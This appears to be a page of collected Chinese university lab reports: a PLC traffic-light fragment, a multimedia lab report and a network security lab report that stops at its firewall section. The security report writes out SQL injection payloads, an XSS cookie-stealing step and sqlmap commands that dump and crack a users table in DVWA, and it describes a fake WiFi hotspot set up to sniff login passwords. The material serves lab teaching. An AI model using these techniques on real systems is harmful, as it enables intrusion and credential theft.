启动——X000; 停止——X001; S1——X002(人行道通行钮)

2、输出

东西绿——Y010; 东西黄——Y011; 东西红——Y012; 南北绿——Y013; 南北黄——Y014; 南北红——Y015 L1——Y016(人行道红灯); L2——Y017(人行道绿灯) SEG接法

A0——Y000; B0——Y001; C0——Y002; D0——Y003; A1——Y004; B1——Y005; C1——Y006; D1——Y007 启动SB1SB2停止S1人行通道X000X001X002Y000Y001Y002Y003Y004Y005Y006Y007Y010Y011Y012Y013Y014Y015Y016Y017COMCOM A0B0C0D0A1B1C1D1东西绿东西黄东西红南北绿南北黄南北红红灯绿灯

五、实验程序 1.部分梯形图程序

推荐第9篇:中南大学多媒体实验报告

《多媒体技术》 实验报告

学 院: 信息科学与工程学院 班 级:

学 号: 姓 名:

1 目录

实验一 图像采集与编辑实验 ..............................................3

一、

二、实验目的 ...................................................................................................................3 实验内容及成果 .......................................................................................................3

实验二 音频信号的获取与处理 ..........................................5

一、

二、

三、

四、实验目的 ...................................................................................................................5 实验设备 ...................................................................................................................5 实验内容及步骤 .......................................................................................................5 思考题 .......................................................................................................................6

实验三 波形音频播放器 ......................................................6

一、

二、

三、实验目的 ...................................................................................................................6 实验内容及要求 .......................................................................................................7 思考题 .......................................................................................................................8

实验四 数字视频播放器 ......................................................9

一、

二、实验目的 ...................................................................................................................9 实验内容及要求 .......................................................................................................9

实验五 视频编辑实验 ........................................................11

一、

二、实验目的 .................................................................................................................11 实验内容及要求 .....................................................................................................11 实验六 综合实验 ................................................................14

一、实验目的 .................................................................................................................14

二、实验内容及要求 .............................................................................................................14

2

实验一 图像采集与编辑实验

一、实验目的

1.了解数码相机基本使用。

2.熟悉PHOTOSHOP在图像处理上的用途。3.掌握PHOTOSHOP一些基本的图像操作。

二、实验内容及成果

通过学习PHOTOSHOP的基本操作,制作以下三种图像编辑效果图。 1.海市蜃楼效果

制作要求:用数码照自己的照片,采用图形合并等技术,将自己的照片移植至提供的风景图片中,制造出海市蜃楼效果。

步骤: 准备好两张图象,一张沙漠图片,一张自己照片。

在工具箱中用矩形工具选区所需的头部图象。用工具箱中的移动工具将图象移到沙漠图象中,作为一个新层Layer 1。点击菜单“Edit编辑/Free Transform自由变换”命令来缩放图象的大小,并移动到适当的位子。选择背景擦除工具

,将人物头部之外的部分擦掉。按住Ctrl键,同时用鼠标单击图层面板中的Layer 1 层,将人物头像选取。 选择羽化菜单,设置羽化半径为“10 pixels”。在图层面板中的图层1单击鼠标右键,选择“剪切得到图层”命令将羽化的图象剪切到新层2,右键单击图层1,删除图层1。适当修饰后合并图层,得到最终效果图,如下:

2.换脸技术

制作要求:选择一张明星照片,将自己用数码照的照片中的脸换明星的脸,得到你的脸和明星的身材的新明星组合体。

3 步骤:选择两张图片

首先抠图,将自己的脸轮廓选中。然后在工具箱中选择移动工具,按住选区不放,将头像移动到另外一张图象里。适当调整大小和位置。在工具箱中选择多边套选工具

选取多余的部分,并按delete键将它删除。选取底图为

,使脸部的边缘颜色和底图相近。选取工作图层,点击工具箱中的图章工具工具箱中的海绵工具最终得到成品图如下:

,涂擦图象边缘,使之模糊一点一边和底图更加融合。3.特殊字体

制作要求:将自己的名字、班级、学号等信息制作成如下字体中的任两种:发光字,火焰字,霓虹字,立体字。

选择制作发光字和火焰字。 步骤: 发光字

新建立一个RGB图像,大小为12×6厘米,背景为黑色。使用文字工具在图像中输入名字。 拖曳“”到图层面板底部的新建按钮

,复制出一个副本层。按Ctrl键单击面板中的副本层,安装文字选区。执行“选择|修改|扩展”命令,扩展量为4个像素。执行“选择|羽化”命令,羽化半径为3个像素。将前景色设置为浅黄绿色

,然后执行“编辑|填充”命令,使用前景色填充选区。拖曳副本层至“发光”层下方,然后单击“发光层”,将它设置为当前层。按Ctrl键单击“”文字层载入文字选区,执行“编辑|填充”命令,使用黑色填充文字选区。将前景色设置为更亮的黄绿色,执行“编辑|描边”命令,描边宽度为2个像素。按Ctrl+D组合键取消选区,然后合并图层,完成发光文字的制作。如下图:

火焰字

4

新建一个灰度模式的图像文件,背景填充为黑色。使用文本工具在图像中输入“电气”两字,颜色为白色。调整文字的位置,合并图层。将图像顺时针旋转90度, 执行风吹滤镜。选择对话框中的“风”项,“方向”栏中的“从右”项。然后再次使用刚使用过的风吹滤镜,加强风吹效果。将图像逆时针旋转90度执行波浪滤镜使火焰飘起来。将图像转换为Indexed Color模式。执行“颜色表”命令,打开Color Table对话框,在Table列表中选择“黑体”色表。执行RGB Color命令,将图像转换为RGB模式。完成燃烧字的制作。如下图:

实验二 音频信号的获取与处理

一、实验目的

1.熟悉多媒体素材声音的采集和制作;2.了解多媒体声音的基本构成要素;

3.练习使用多媒体声音的录制、编辑和合成软件。

二、实验设备

1.安装有Cool Edit Pro软件和windows操作系统的微机系统; 2.麦克风和耳机。

三、实验内容及步骤

通过录音机将本人声音录入,并用Cool Edit软件处理声音;去除声音文件的噪声;声音文件添加混响效果;进行淡入淡出处理;合成声音文件。

5 步骤: 1.打开录音机,通过麦克风录制一段语音信号作为自我介绍。

2.用Cool Edit软件加载录音机的声音,并且将背景音乐“背景音乐-轻柔.MP3”也加载于其中,试听两个文件共同播放的效果,并且调整二者音量大小,使共同播放时二者均能听清。 3.对他降噪,去除其中的杂音。

4.选择所给出的原始录音文件,将其与本人所录的音乐按字剪辑,组合成一个新的音频文件,并做降噪等处理,保存成一个新的文件。5.添加一些音效。

6.对背景音乐进行淡入淡出处理。7.生成的声音合成,输出一个合成文件。

四、思考题

1. 数字音频通常使用的采样率为多少?

标准采样频率为44.1KHZ,量化位数为16位,立体声;常用的有8kHz , 11.025kHz, 22.05, kHz 16kHz, 44.1kHz, 48kHz等。

2. 请举出三种多媒体音频技术中常用的存储声音信息的文件格式?

CD文件、MP3文件、WAV文件、VOC文件、MIDI文件、AIF文件、SNO文件和RMI文件等

3. 怎样使用Cool Edit进行混音处理?

选择“ 效果 ”,“ 常用效果器 ”里面的 “ 混响 ”“ 简易混响 ”“ 完美混响”等。

4.使用Cool Edit混音处理后的声音文件如果出现背景音乐过大或过小的问题,如何解决此问题?

在伴奏音轨点右键,选音轨音量适当调节。

实验三 波形音频播放器

一、实验目的

1.了解Wave文件格式,并学习Windows下用MCI函数播放Wave文件。

6 2.熟悉多媒体开发工具——Visual C++。 3.制作波形音频播放器。

二、实验内容及要求

1.用VC建立应用程序框架:

a) 菜单,点击新建 b) 编制应用程序界面

c) 点击查看建立类向导,在Meage Maps中建立相应的消息函数OnOpen(), OnPlay(), OnRecord(), OnSave(), OnStop(),点击确定。

2.建立处理波形音频的类CWaveAudio 3.加入所需的功能: a) 在CWavePlayerDlg类中加入成员变量

b) 在BOOL CWavePlayerDlg::OnInitDialog()中进行初始化

c) 在OnOpen(), OnPlay(), OnRecord(), OnSave(), OnStop() 中添加代码 4.实验注意事项:

a)调试程序时,Ctrl+F7 为Compile,Build为F7,运行时按F5。 b)注意可重用类CwaveAudio的设计。 c)熟练掌握MCI多媒体函数的应用。

d)编译时,菜单选中“项目”“设置”,要在库的链接中加入winmm.lib

实验成果如下:

7

思考题

1.什么是MCI接口?简述MCI所囊括的内容。

MCI ( Media Control Interface ) ,即媒体控制接口,向基于Windows操作系统的应用程序提供了高层次的控制媒体设备接口的能力。MCI接口包括了CDAudio(激光唱机)、Scanner(图像扫描仪)、VCR(磁带录像机)、Videodisc(激光视盘机)、DAT(数字化磁带音频播放机)、DigitalVideo(窗口中的数字视频)、Overlay(窗口中的模拟视频叠加设备)、MMMovie(多媒体影片演播器)、Sequencer(MIDI音序设备)、WaveAudio(波形音频设备)、Other(未定义的MCI设备)等多媒体的主要产品。 2.Windows下播放波形文件可采用几种方法?各有什么优缺点?

Windows下波形文件有四种播放方法。

MeageBeep播放方式,sndPlaySound播放方式,MCI播放方式,WaveOut播放方式。

波形文件的MeageBeep播放方式原理简单,操作灵活,不需声卡也能发出鸣叫声。但该方法仅适用于播放较短的波形文件,且波形文件必须要位于Windows目录下。

sndPlaySound播放方式功能很强,可以播放磁盘文件或内存中的波形数

8 据,还可以将波形文件作为资源来播放。但该方法有很大局限性,播放对象是比较小的文件(100KB)以内,其次,需要将几个波形文件连续播放时,不能体现出Windows的优越性,CPU利用率低。

MCI播放方式提供了一个标准接口,将声卡,视卡,CD激光唱片等当做一个设备去处理。但代码较长,必须用后释放句柄。

WaveOut是最低层的播放方式,能控制产生的声音(如音量,放音速度,音调)已达到音响硬件功能极限。但是代码量非常大,且需熟悉RIFF文件结构。 3.简述Windows下多媒体程序开发的特点。

Windows的API对很多多媒体内容都可以支持。此外,directShow是非常重要的多媒体开发工具。Windows Media就是基于DirectShow的。

数字视频播放器

一、实验目的

1.进一步掌握MCI函数的应用。

2.制作数字视频播放器,并具有以下功能:打开视频播放设备,播放视频文件,可静态观看每一帧视频,并且可设置播放速度,还能在全屏播放与正常播放之间转换。

二、实验内容及要求

1.如实验3建立应用程序框架 2.制作应用程序界面

a) 制作对话框

在应用程序中插入一个对话框资源,用来设置播放速度,其ID设为IDD_SPEED: 还需向应用程序中插入一个对话框资源,用做视频输出窗口,ID为IDD_DISPLAY。

b) 制作菜单

插入一个菜单资源,将ID设为IDR_MAINFRAME。

在你的主对话框的属性中的菜单项中,选中IDR_MAINFRAME

9 现在编译一下,就得到了我们所要的界面。 c)添加消息处理函数 3.完成应用程序功能设计

a) 将已设计好的类Cvideo加到工程中来 b) 初始化主对话框

c) 完成消息函数OnTimer, OnOpen, OnPlay, OnStop, OnPause,OnPre, OnNext, OnSound, OnLoop, OnFullScreen, OnSpeed 现在编译执行,视频播放器便完成了。

10

实验五 视频编辑实验

一、实验目的

1.熟悉PREMIERE对视频的处理(视频的剪辑和编辑);2.熟悉PREMIERE的过渡效果和滤镜效果

二、实验内容及要求

1.编辑一段视频图像并制作字幕效果 连接几段剪辑(test1): a) 创建一个新节目 i.选择File>New>Project命令。在New Project Settings对话框中,以自己学号和姓名命名工程文件名称。 ii.单击Next打开New Project Settings对话框中的选择中国的PAL制式,标准48KHz。

b) 导入原始剪辑 i.ii.选择File>Import>File,打开Import对话框,选择你的文件目录。 载入文件出现在Project窗口中。对于导入的每个文件,节目窗口都列出了它的名称、类别、持续时间和画面大小等信息。保存之。

c) 创建初稿 i.如果Timeline窗口没有打开,则选择Windows>Timeline.只有把导入的剪辑放入Timeline中,它们才能成为影像节目的一部分。 ii.再打开文件时一定要注意序列的设置和素材的相匹配,否则无法打开文件,最好利用将视频文件拖至“新建分项”的图标上,然后在Project窗口中选择“中南大学宣传片.avi ”剪辑,并把他拖进Video 1A轨道中。拖动时,剪辑呈现为一个黑框,要确保剪辑黑框左端与Video 1A轨道左端对齐,然后释放鼠标。 iii.选择蒲公英-无声.avi剪辑,并把他拖进Video 1A轨道中,这次要把它正好放在中南大学宣传片.avi后面,这样使二者首尾连接。

裁剪剪辑(test2)

11 a) 首先确保Timeline窗口和Monitor窗口都是可见的,而且没有重叠,单击Timeline窗口标题栏激活该窗口。

b) 剪辑一个剪辑包括设置一个新的切入点、切出点或两者都设。切入点就是剪辑开始的阵,切出点就是剪辑最后的帧。

c) 找到切入点,在源视图下,拖动往复滑块看到完成旅程,单击切出点按钮,然后使用Apply按钮即可。

d) 裁剪掉的区域并没有被删除,Premiere仅仅隐藏了被裁剪的帧,使之不出现在Timeline窗口中,并且在预览或导出影像节目中也不再出现,把剪辑片断建成一体。

2.过渡效果和滤镜效果 过渡效果(test3) a) 扩展Video 1轨道成Video 1A、T和Video 1B轨道,并使两剪辑有部分重叠。由于过渡效果对两个重叠的部分才起作用,只有Video 1 track扩展的时候,才可以在两个素材重叠的部分添加过渡效果,注意素材重叠部分不包含重要的帧画面。

b) 拖动中南大学宣传片.avi到Video 1A轨道,蒲公英-无声.avi到Video 1B轨道,并使两剪辑有部分重叠。

c) 如果Transitions窗口没打开,选择Windows Show Transitions,打开Transitions窗口.d) 从过渡效果调色板中选中所要的过渡效果。过渡效果的长度将自动与重叠部分的长度相吻合。

e) 用选择工具选择和拖动过渡效果的边缘,已拉长和缩短过渡效果。为了给过渡效果重新定位,则可以拖动过渡效果本身。

f) 按住Alt键,然后在Timeline标尺中擦抹以移动编辑线横跨过渡部分。这时指针变成一个小箭头,表示正在预览效果,预览在监视器窗口的节目视图中进行。 滤镜效果(test4)

a) 在project窗口中,用鼠标把avi剪辑aif文件分别拖入Timeline窗口

12 中的Video视轨和audio音轨中,并调整好工作区域。

b) 选择Windows>show video effects。在出现的Video对话框中选择需要的滤镜效果。

c) 用鼠标把Camera Blur拖动到Timeline的avi上,点击右键,此时,就能在effect controls对话框中,看到滤镜效果控制,进行操作。 d) 对于音频用对于视频同样的方法进行处理。 3.添加字幕

字幕分为静态字幕和动态字幕,在制作视频时,字幕要随着视频的播放显示。 4.其他效果

作品截图

13

实验六 综合实验

一、实验目的

将之前所学过的多媒体实验技巧融会贯通,制作成综合性的、有自己特色的成果。

二、实验内容及要求

制作一段主题为“我在中南”或“我在…”的视频,时长不少于1分钟。 收集中南大学相关照片,使用Photoshop软件对图片或照片进行美化,将本人的照片嵌入图片

14 视频截图

15

推荐第10篇:中南大学网络安全实验报告

学生姓名指导教师学 院专业班级学 号完成时间中南大学

网络安全 实验报告

代巍 张士庚 信息科学与工程学院 信安1201班 0909121615 年12月15日

2014

目录

实验一 CA证书与SSL连接 实验二 WIFI钓鱼 实验三 SQL注入攻击

实验四 配置和管理主机防火墙

实验一 CA证书与SSL连接

一.实验目的

通过申请、安装数字证书,掌握使用SSL建立安全通信通道的方法。 掌握在Windows Server 2003 下独立根CA 的安装和使用。 使用WEB 方式申请证书和安装证书。 建立SSL 网站。

分析SSL 网站的数据包特点。 二.实验原理

SSL协议的工作原理、数字证书的原理

在访问Web 站点时,如果没有较强的安全措施,用户访问的数据是可以使用网络工具 捕获并分析出来的。在Web 站点的身份验证中,有一种基本身份验证,要求用户访问输入

用户名和密码时,是以明文形式发送密码的,蓄意破坏安全性的人可以使用协议分析程序破

译出用户名和密码。那我们该如果避免呢?可利用SSL 通信协议,在Web 服务器上启用安

全通道以实现高安全性。

SSL 协议位于TCP/IP 协议与各种应用层协议之间,为数据通讯提供安全支持。SSL 协 议可分为两层: SSL 记录协议(SSL Record Protocol):它建立在可靠的传输协议(如TCP)

之上,为高层协议提供数据封装、压缩、加密等基本功能的支持。SSL 握手协议(SSL Handshake Protocol):它建立在SSL 记录协议之上,用于在实际的数据传输开始前,通讯双

方进行身份认证、协商加密算法、交换加密密钥等。每一个Windows Server 2003 证书颁发

机构都有可供用户和管理员使用的网页。 三.实验环境

虚拟机:Windows Server 2003,Windows XP,Wireshark 抓包软件。 四.实验过程

任务一:windows server 2003 环境下独立根CA 的安装及使用

1、windows server 2003 环境下独立根CA 的安装及使用,启动Windows Server 2003 和Windows XP,配臵其IP,使其在同一局域网网段。在Windows Server 2003 中,选择【开始】|【控制面板】|【添加和删除程序】,在弹出窗口中选择【添加和删除windows 组件】,在【组件】列表框中选择【证书服务】,再单击【下一步】按钮,如下图所示。

2、在弹出的窗口中选择【独立根CA】单选按钮,单击【下一步】按钮,在弹出窗口中按要求依次填入CA 所要求的信息,单击【下一步】按钮,如下图所示。

3、继续选择【证书数据库】、【数据库日志】和配臵信息的安装、存放路径,如下图所示,单击【下一步】按钮。安装的时候,可能会弹出如下窗口,为了实验方便,已经把I386 文件夹复制到C:\\下,选择【浏览】,选择文件夹“C:\\I386”,点【确定】,完成安装。

4、选择【开始】|【程序】|【管理工具】,可以找到【证书颁发机构】,说明CA 的安装已经完成,如下图所示。

5、从同一局域网中的另外一台XP 开启IE 浏览器,输入http://windows2003 的IP/certsrv/,选中【申请一个证书】,如下图所示,在弹出的页面中选择【web 浏览器证书】。

6、在弹出窗口中填写用户的身份信息,完成后进行【提交】。此种情况下,IE 浏览器采用

默认的加密算法生成公钥对,私钥保存在本地计算机中,公钥和用户身份信息按照标准的格式发给CA 服务器,如图所示,单击【是】,进入下一步。CA 服务器响应后,弹出证书申请成功页面,如下图所示。

7、在根CA 所在的计算机上,选择【开始】|【程序】|【管理工具】|【证书颁发机构】,上面申请的证书便会出现在窗口右边,选择证书单击右键,选择【所有任务】|【颁发】,进行证书颁发,如下图所示。证书颁发后将从【挂起的申请】文件夹转入【颁发的证书】文件夹中,表示证书颁发完成。

8、在申请证书的计算机上打开IE,输入http://windows2003 的IP/certsrv/,进入证书申请页面,选择【查看挂起的证书申请状态】,弹出的页面中选择一个已经提交的证书申请,如下图所示。选择安装此证书。

9、现在验证此CA 系统颁发的新证书是否可信,为此需要安装CA 系统的根证书,进入证书申请主页面,选择当前的CA 证书进行下载,并保存到合适路径,如下图所示。

10、下载完毕之后,在证书的保存目录中查看证书信息,单击【安装证书】按钮,进入证书导入向导,按照默认的配臵完成证书的导入,导入成功后,单击【确定】按钮,之后完成。

任务二:基于Web的SSL连接设臵

1、在XP 中,左下角【开始】,打开【Wireshark】,并点击开始抓包的按钮。打开IE 浏览器,输入网址http://windows2003 的IP/?id=1(比如:http://192.168.1.130/?id=1),然后保存Wireshark的抓包结果1。

2、选择【开始】|【程序】|【管理工具】|【IIS(Internet 信息服务)管理器】,在弹出窗口右键单击【默认网站】,弹出的快捷菜单中选择【属性】选项。

3、在弹出窗口内选择【目录安全性】标签,单击【安全通信】中的【服务器证书】按钮,如下图所示。

4、弹出【IIS 证书向导】窗口,选中【新建证书】复选项,一直单击【下一步】按钮,输入自定义的名称,如下图所示。填写相应的信息后,单击【下一步】按钮。

5、弹出【请求文件摘要】窗口,确认后单击【下一步】按钮,接着单击【完成】按钮,完成服务器端证书配臵,如下图所示

6、打开IE 浏览器(windows2003 中的),进入证书申请主界面,如下图所示。

7、在出现的网页中选择【高级证书申请】,如图所示,在出现的网页中单击第二个选项【base64编码】。打开刚才IIS 证书向导生成的请求文件,(默认路径C:\\certreq.txt),复制并粘贴文件内容到第一个文本框,如下图所示,单击【提交】按钮,转到完成提交后的页面。

8、回到首页,选择【查看挂起的证书申请状态】,弹出的页面中选择一个已经提交的证书申请,如下图所示。选择【Base 64 编码】,点击【下载证书】,【保存】certnew.cer 文件到桌面。

9、选择【开始】|【程序】|【管理工具】|【IIS(Internet 信息服务)管理器】,在弹出窗口右键单击【默认网站】,弹出的快捷菜单中选择【属性】选项,在弹出窗口内选择【目录安全性】标签,选择【服务器证书】,选择【下一步】,【处理挂起的请求并安装证书】选择【下一步】,【浏览】选择刚才保存的certnew.cer 文件,如下图所示。【下一步】【下一步】【完成】。

10、还是在【目录安全性】下,选择【安全通信】下的【编辑】,在下如图所示的弹出窗口中选中【要求安全通道(SSL)】复选项,并在【客户端证书】栏中选中【接受客户端证书】复选项,再单击【确定】按钮。返回【目录安全性】面板,单击【应用】按钮及【确定】按钮,完成配臵。

11、在XP 系统打开浏览器,输入服务器IP 地址,进入证书申请主页面,此时会显示错误信息页面,要求采用https 的方式连接服务器,如图所示。

12、把http 改成https 继续访问,此时浏览器提示你要安装证书,安装完证书后,就可以正常使用了。

13、再次打开Wireshark , 并点击开始抓包的按钮。打开IE 浏览器, 输入网址https://windows2003 的IP/?id=1(比如:https://192.168.1.130/?id=1),然后保存Wireshark 的抓包结果2。

14、分析比较抓包结果1 和抓包结果2 中,对IP/?id=1 请求处理的差异。

五、实验感想

至此,我完成了整个数字证书的安装和使用实验。通过本次实验我学会了SSL协议的工作原理,同时了解到了CA证书的颁发机制。

任何一个安全性系统整体性设计,都离不开数字证书的加密,可以想象加密机制对信息安全的重要性。

需要说明的是,尽管SSL能提供实际不可破译的加密功能,但是SSL安全机制的实现会大大增加系统的开销,增加了服务器CPU的额外负担,使得SSL加密传输的速度大大低于非加密传输的速度。因此,为了防止整个Web网站的性能下降,可以考虑只把SSL安全机制用来处理高度机密的信息,例如提交包含信用卡信息的表格。

实验二 WIFI钓鱼

一.实验目的

1、通过实际测试,模拟入侵者利用wifi抓包来窃取用户数据的过程。掌握整个过程中的原理,数据分析等。

2、掌握抓包软件的使用。二.实验原理

在一个可控的网络环境里,劫持数据有很多方法。比较有名的网络层抓包工具有wireshark,tcpdump,都是很好的网络协议分析工具。我们现在手机上的大多数APP应用层都是使用的HTTP协议,因此我们很多的在web安全测试里面用到的分析工具如fiddler,burp,httpanalyzer,Charles等也都是可以用来分析或者劫持APP的通信流。

用户手机里的app默认会进行很多敏感的请求,手机会自动去登陆和获取最新的信号;如果手机默认会链接周围已经被保存sid的wifi;通过内臵最常见的sid和信息,入侵者可以使得周围的人会自动链接上入侵者假设好的wifi,通过抓取相应的数据取得里面的敏感信息,理论上是可以劫持用户的相关密码信息的。 三.实验环境

带有无线网卡的笔记本电脑,Wireshark 抓包软件,智能手机。 四.实验过程 步骤一共享WIFI 工具:电脑、WIN7 系统、无线网卡 步骤

1.开始菜单-->命令提示符(cmd)-->右键,以管理员身份运行

2.运行以下命令启用虚拟网卡>netsh wlan set hostednetwork mode=allow id=(这里写无线网名字) key=(这里是密码)

3.网络共享中心-->更改高级适配器设臵-->右键已连接到Internet 的网络连接-->属性-->切换

到“共享”选项卡,选中其中的复选框,并选择允许其共享Internet 的网络连接,这里即我们的虚拟WIFI 网卡

4.开启无线网络,继续在命令提示符中运行以下命令:>netsh wlan start hostednetwork即可开启我们之前设臵好的无线网络(相当于打开路由器的无线功能)

步骤二WIFI 钓鱼工具:其他笔记本或手机、Wareshark 步骤

1.搜索到刚刚设臵的WIFI:dave,连接上(密码为刚刚设臵的key:12345678) 2.在笔记本上打开wareshark,选择capture-->interfaces

3.选择Packets 最多的项,点击start 按钮

4.在手机或笔记本上打开中南大学邮箱网站:http://mail.csu.edu.cn/,在主机上用wareshark 捕捉http 的包(这里大家可以自由实验,能监控到连接到该WIFI 的机器的所有包的情况)

5.在手机或笔记本上输入用户名和密码,点击登录

6.在主机上用wareshark 捕捉到刚刚post 提交的http 包,右键选择Follow tcp stream

7.可以看到刚刚提交的用户名和密码,且是未经过加密的

五、实验感想

通过这次实验,我实际地模拟了一次入侵者通过假设钓鱼WIFI网络,来窃取连接此网络的用户的密码信息过程。整个过程中我成功地完成了对各种用户数据抓包,并分析出用户密码。

这让我对wifi网络产生了新的看法,我意识到了链接wifi网络过程当中存在很多安全隐患,如果被图谋不轨的人利用到,一旦泄露商业机密等重要信息,势必会产生重大的经济损失。

随着人们的生活越来越离不开网络,也越来越离不开移动手机,一般的公共厂商都已经将wifi作为基础服务进行提供,譬如在星巴克、麦当劳等公共场所边点杯热饮边“蹭网”,已经是一个基本的习惯了,甚至一些大型的电信提供商已经尝试将wifi作为一个基础的接入。如今公共的wifi很多,尤其是免费的,手机上还有帮助寻找免费wifi的各类app。很多人为了省流量,看到免费的wifi,总会去连接一下尝试网上冲浪。不过,在这些免费的wifi以及大家使用wifi的习惯,加上手机及app的默认行为,就可以导致一些严重安全问题。

实验三 SQL注入攻击

一.实验目的

是了解sql注入攻击的原理,掌握网站的工作机制,认识到SQL注入攻击的防范措施,加强对Web攻击的防范。

二.实验原理

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配臵或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。

三.实验环境

虚拟机WindowsXP系统、Windows2003系统。dvwa(Dam Vulnerable Web Application)工具,sqlmap SQL注入工具、四.实验过程

【实验一:dvwa手动sql注入】

1、连接好虚拟机拓扑图,配臵WindowsXP Client和Windows XP Server的IP使其在同一个局域网网段。

2、打开Server端的xampp,启动apache和mysql。打开Client的浏览器,访问Server的IP/dvwa,如“192.168.1.32/dvwa”,登陆账户为admin,密码为paword

3、选择SQLInjection,点击右下角的ViewSource,查看PHP源代码。

4、正常测试,输入“1”,得到正常结果,如下所示。

5、当将输入变为“\'”时,页面提示错“YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear\'\'\'\'\'atline1”,结果如图。看到这个结果,可以知道,这个表单存在着注入漏洞。

6、尝试输入:“1’or 1=1–”注意“--”后面有空格!此时成功进行sql注入。

7、测试查询信息列数。利用语句order by num。这里输入\" 1\'order by 1 --\" 结果页面正常显示,注意--后面有空格。继续测试,\" 1\'order by 2 --\",\" 1\'order by 3 --\",当输入3是,页面报错。页面错误信息如下,Unknown column \'3\' in \'order clause\',由此查询结果值为2列。

8、尝试注入“1\' and 1=2 union select 1,2 --”,从而得出First name处显示结果为查询结果第一列的值,surname处显示结果为查询结果第二列的值,利用内臵函数user(),及database(),version()注入得出连接数据库用户以及数据库名称:“1\' and 1=2 union select user(),database() --”。

9、选择DVWA Security,将安全级别分别设臵为中、高。再运行上面的实验sql语句,结合右下角的ViewSource,分析三种等级的代码和sql注入效果有何区别。在安全级别分别设臵为低时,结合PHP源代码,考虑不采用“--”的情形下,完成sql注入,写出sql注入语句。

【实验二:sqlmap测试dvwa】

1、打开Server端的xampp,启动apache和mysql。打开Client的浏览器,访问Server的IP/dvwa,如“192.168.1.32/dvwa”,登陆账户为admin,密码为paword。选择DVWA Security,将安全级别分别设臵为低。

2、选择XSS reflected,输入“alert(document.cookie)”,获取登陆系统后的cookie值,截图保存cookie值。

3、使用sqlmap查找注入点,打开Client端的控制台窗口,转到目录“C:\\Python27\\sqlmap”,输入以下命令,注意!“192.168.1.32”表示Server的IP,“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”表示上一步所获得的cookie值,请同学们按照实际环境填写相应的值!“sqlmap.py -u http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit --cookie=\"security=low; PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6\"”。

依据以下信息,得到可能的注入点是id,数据库是mysql。

[INFO] heuristic (basic) test shows that GET parameter \'id\' might be injectable (poible DBMS: \'MySQL\')

[INFO] GET parameter \'id\' is \'MySQL UNION query (NULL) -1 to 20 columns\' injectable

4、输入“sqlmap.py -u \"http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit\" --cookie=\"security=low; PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6\" --current-db”得到当前数据库名。

current database: \'dvwa\'

5、输入“sqlmap.py -u \"http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit\" --cookie=\"security=low; PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6\" --current-db --tables -Ddvwa”得到数据库所有表。

6、输入“sqlmap.py -u \"http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit\" --cookie=\"security=low; PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6\" -T users --columns”得到user表的所有列。

7、输入“sqlmap.py -u \"http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit\" --cookie=\"security=low; PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6\" -T users --dump”得到user表的所有列,在sqlmap询问时候破解密码时,选择是,sqlmap会使用自己的字典来破解密码,得到5个用户的密码。此时就完成了利用sqlmap进行“拖库”的基本步骤。 五.实验感想

通过实验,我明白了带有参数的动态网页,很多都是没有进行过滤的。如果能够被SQL注入工具,就存在安全隐患,有可能就因为这个漏洞,入侵者就可以得到登录权限并控制整个服务器。

从实验可以看出,只要是带有参数的动态网页,且此网页访问了数据库,就有可能存在SQL注入攻击,因此SQL注入攻击潜在的发生概率相对于其他Web攻击要高很多,危害面也更广。其主要危害包括:获取系统控制权、未经授权状况下操作数据库的数据、恶意篡改网页内容、私自添加系统帐号或数据库使用者帐号等。

目前基于数据库的网络应用越来越多。与此同时,用于搜索SQL注入点的软件在网络上随处可见,攻击者只需要具备少量的专业知识就可以利用这些软件寻找目标进行攻击。攻击目标和攻击者的增加使得SQL注入攻击在近几年出现扩大的趋势

为了防止SQL注入带来的危害,在网站开发的过程中,需要对需要输入参数的模块进行过滤,并加入相关权限认证模块。

实验四 配置和管理主机防火墙

一.实验目的

1.学习配臵和管理主机防火墙,介绍如何配臵linux 防火墙。 2.掌握linux 下基本的iptables 知识,学会配臵iptables

二.实验原理

对于Internet 上的系统,不管是什么情况,首先我们要明确一点:网络是不安全的。因此,虽然创建一个防火墙并不能保证系统100%安全,但却是绝对必要的。和社会上其它任何事物一样,Internet 经常会受到一些无聊的或者别有用心的人的干扰,防火墙的目的就是将这类人挡在你的网络之外,同时使你仍然可以完成自己的工作。因为不同的应用环境对安全的要求不一样。用一句比较恰当而且简单的话来回答这个问题:用户了解自己的Linux 系统和设臵,并且可以很好地保护好自己的数据和机密文件的安全,这对于该计算机用户来说就可以称之为他的计算机有足够的安全性。 防火墙是一个或一组系统,它在网络之间执行访问控制策略。实现防火墙的实际方式各不相同,但是在原则上,防火墙可以被认为是这样一对机制:一种机制是拦阻传输流通行,另一种机制是允许传输流通过。一些防火墙偏重拦阻传输流的通行,而另一些防火墙则偏重允许传输流通过。了解有关防火墙的最重要的概念可能就是它实现了一种访问控制策略。

一般来说,防火墙在配臵上是防止来自“外部”世界未经授权的交互式登录的。这大大有助于防止破坏者登录到你网络中的计算机上。一些设计更为精巧的防火墙可以防止来自外部的传输流进入内部,但又允许内部的用户可以自由地与外部通信。如果你切断防火墙的话,它可以保护你免受网络上任何类型的攻击。防火墙的另一个非常重要的特性是可以提供一个单独的“拦阻点”,在“拦阻点”上设臵安全和审计检查。与计算机系统正受到某些人利用调制解调器拨入攻击的情况不同,防火墙可以发挥一种有效的“电话监听”和跟踪工具的作用。防火墙提供了一种重要的记录和审计功能;它们经常可以向管理员提供一些情况概要,提供有关通过防火墙的传输流的类型和数量,以及有多少次试图闯入防火墙的企图等信息。

三.实验环境

